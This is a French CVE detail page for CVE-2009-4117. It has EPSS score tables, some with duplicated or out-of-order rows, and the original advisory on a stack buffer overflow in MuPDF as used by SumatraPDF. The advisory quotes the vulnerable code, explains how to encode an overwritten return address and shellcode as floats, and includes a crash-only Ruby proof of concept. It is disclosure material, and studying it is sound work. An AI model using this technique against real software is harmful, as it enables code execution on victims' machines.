CVE-2009-4117 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	9.29%	–	–
2022-04-03	–	–	9.29%	–	–
2023-03-12	–	–	–	13.79%	–
2023-07-30	–	–	–	12.98%	–
2024-03-10	–	–	–	11.77%	–
2024-06-02	–	–	–	12.98%	–
2024-09-22	–	–	–	22.01%	–
2024-12-22	–	–	–	21.38%	–
2025-02-09	–	–	–	21.38%	–
2025-02-16	–	–	–	21.38%	–
2025-01-19	–	–	–	21.38%	–
2025-02-16	–	–	–	21.38%	–
2025-03-18	–	–	–	–	24.33%
2025-03-18	–	–	–	–	24.33,%

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Date	Percentile
2022-02-06	87%
2022-04-03	94%
2023-03-12	95%
2023-07-30	95%
2024-03-10	95%
2024-06-02	96%
2024-09-22	97%
2024-12-22	96%
2025-02-09	96%
2025-02-16	97%
2025-01-19	96%
2025-02-16	97%
2025-03-18	96%
2025-03-18	96%

"MuPDF is a lightweight PDF viewer and toolkit written in portable C". It is used in particular by SumatraPDF which is a small open-source PDF viewer for Windows. MuPDF before commit 20091125231942 did not properly handle /Decode arrays in a shading of type 4 to 7, leading to a stack-based buffer overflow. Version 1.0.1 of SumatraPDF integrates this correction and is no longer vulnerable -- it is recommended to upgrade to this version. In addition, SumatraPDF 1.1 will have DEP enabled permanently on XP/ Vista/7 (through NtSetInformationProcess), as well as being marked ASLR-compatible. Timeline ======== 2009-11-23 MuPDF and SumatraPDF contacted 2009-11-25 fix integrated 2009-11-28 SumatraPDF 1.0.1 released Details ======= The vulnerable code is shown below: float c0[FZ_MAXCOLORS]; float c1[FZ_MAXCOLORS]; ... obj = fz_dictgets(shading, "Decode"); if (fz_isarray(obj)) { ... for (i=0; i < fz_arraylen(obj) / 2; ++i) { c0[i] = fz_toreal(fz_arrayget(obj, i*2+4)); c1[i] = fz_toreal(fz_arrayget(obj, i*2+5)); } } Although SumatraPDF is compiled with /GS, for some reason Visual Studio 2008 failed to flag the vulnerable function. Thus, exploitation is not particularly difficult, although there are a few tricks: * Care must be taken not to overwrite the obj pointer on the stack, as it would lead to a crash. Fortunately, the i variable is overwritten first, so one can simply increment it to skip obj. * The overwritten array handles a bunch of floating point values. So all hexadecimal values (such as the overwritten eip) must be converted into a floting point value, but not using scientific notation because the MuPDf parser cannot handle it. For example, 0x33 will be encoded as 0.000000000000000000000000000000000000000000071 * All 32-bit chunks of the shellcode need to have a valid floating point counterpart: no value must correspond to an IEEE 754 "NaN" (not a number). In practice, this can be easily achieved by inserting NOPs. The origami PDF framework (see http://www.security-labs.org/origami/) may be used to test this vulnerability. The following ruby script creates a PDF with an oversized /Decode array: # MuPDF pdf_loadtype4shade() PoC code (crash only) # authors: Christophe Devine and Guillaume Delugré $: << "sources/parser" require 'parser.rb' include Origami sploit = [ 1234 ] * 250 shader = Graphics::Pattern::Shading::FreeFormTriangleMesh.new shader.ColorSpace = Graphics::Color::Space::DEVICE_RGB shader.BitsPerCoordinate = 24 shader.BitsPerComponent = 16 shader.BitsPerFlag = 8 shader.Decode = sploit page = Page.new.add_shading(:kikoo, shader) page.Contents = ContentStream.new page.Contents.paint_shading(:kikoo) PDF.new.append_page(page).saveas('toto.pdf') How to modify this script to successfully exploit the vulnerability is left as an exercise for the reader ;) Metasploit 3.3 was used for the creation of the shellcode. This poc will not work with other versions of SumatraPDF as it uses a jmp esp in the binary. Greetz ====== #lab, #chaussette, #barbux, hzv, t0ka7a, c+v, al4mbic et pizza_pino